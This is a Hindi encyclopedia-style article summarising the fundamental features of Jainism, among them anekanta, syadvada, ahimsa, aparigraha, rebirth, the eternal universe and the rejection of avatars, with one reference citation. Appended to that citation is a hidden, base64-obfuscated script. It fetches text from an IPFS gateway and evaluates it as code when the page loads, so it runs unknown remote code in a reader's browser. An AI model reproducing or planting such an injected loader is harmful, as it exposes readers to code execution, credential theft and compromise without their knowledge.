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जैन धर्म की मौलिक विशेषताएँ

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अपनी इन्द्रियों, कषायों और कर्मो को जीतने वाले 'जिन' कहलाते हैं। 'जिन' के उपासक को जैन कहते हैं। जिन के द्वारा कहा गया धर्म जैन धर्म है। जिसके द्वारा यह संसारी आत्मा-परमात्मा बन जाता है, वह धर्म है। अर्थात् सम्यक दर्शन, सम्यक ज्ञान और सम्यक चारित्र को धर्म कहा है, क्योंकि रत्नत्रय के माध्यम से ही यह आत्मा-परमात्मा बनती है।

  • अनेकान्त - अनेक+अन्त=अनेकान्त। अनेक का अर्थ है - एक से अधिक, अन्त का अर्थ है गुण या धर्म। वस्तु में परस्पर विरोधी अनेक गुणों या धर्मों के विद्यमान रहने को अनेकान्त कहते हैं।
  • स्याद्वाद - अनेकान्त धर्म का कथन करने वाली भाषा पद्धति को स्यादवाद कहते हैं। स्यात् का अर्थ है- कथचित् किसी अपेक्षा से एवं वाद का अर्थ है- कथन करना। जैसे - रामचन्द्र जी राजा दशरथ की अपेक्षा से पुत्र हैं एवं रामचन्द्र जी लव-कुश की अपेक्षा से पिता हैं।
  • अहिंसा - जैन धर्म में अहिंसा प्रधान है। मन, वचन और काय से किसी भी प्राणी को कष्ट नहीं पहुँचाना एवं अन्तरंग में राग-द्वेष परिणाम नहीं करना अहिंसा है।
  • अपरिग्रहवाद - समस्त प्रकार की आसक्ति का त्याग करना एवं पदार्थों का त्याग करना अपरिग्रहवाद है। अपरिग्रहवाद का जीवन्त उदाहरण दिगम्बर साधु है।
  • प्राणी स्वातंत्र्य - संसार का प्रत्येक प्राणी स्वतंत्र है। जैसे-प्रत्येक नागरिक राष्ट्रपति, प्रधानमंत्री बन सकता है। उसी प्रकार प्रत्येक आत्मा-परमात्मा बन सकती है। किन्तु परमात्मा बनने के लिए कर्मों का क्षय करना पड़ेगा और कर्मों का क्षय, बिना दिगम्बर मुनि बने नहीं हो सकता है।
  • सृष्टि शाश्वत है - इस सृष्टि को न किसी ने बनाया है, न इसको कोई नाश कर सकता है, न कोई इसकी रक्षा करता है। प्रत्येक जीव को अपने किए हुए कर्मों के अनुसार फल मिलता है। उसके लिए न्यायाधीश की आवश्यकता नहीं है। जैसे-शराब पीने से नशा होता है और दूध पीने से ताकत आती है। शराब या दूध पीने के बाद उसके फल देने के लिए किसी दूसरे निर्णायक की आवश्यकता नहीं है।
  • अवतारवाद नहीं - संसार से मुक्त होने के बाद परमात्मा पुनः संसार में नहीं आता है। जैसे-दूध से घी बन जाने पर पुन: वह घी, दूध के रूप में परिवर्तित नहीं हो सकता है। उसी प्रकार परमात्मा (भगवान) पृथ्वी पर अवतार नहीं लेते हैं।
  • पुनर्जन्म - जैन धर्म पुनर्जन्म को मानता है। प्राणी मरने के बाद पुन: जन्म लेता है। जन्म लेने के बाद पुन: मरण भी हो सकता है, मरण न हो तो निर्वाण भी प्राप्त कर सकता है, किन्तु निर्वाण के बाद पुनः उसका जन्म नहीं होता है।
  • भगवान न्यायधीश नहीं - भगवान मात्र देखना जानते हैं। वे किसी को सुखी दु:खी नहीं करते हैं। जीव अपने ही कर्मों से सुखी दु:खी होता है।
  • द्रव्य शाश्वत् है - द्रव्य का कभी नाश नहीं होता, मात्र पर्याय बदलती रहती है। आत्मा भी एक द्रव्य है। वह न जन्मती है और न मरती है। मात्र पर्याय बदलती है।[1]
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टीका टिप्पणी और संदर्भ

  1. जैन धर्म की मौलिक विशेषताएँ (हिंदी) acharyagyansagar.in। अभिगमन तिथि: 17 मई, 2020।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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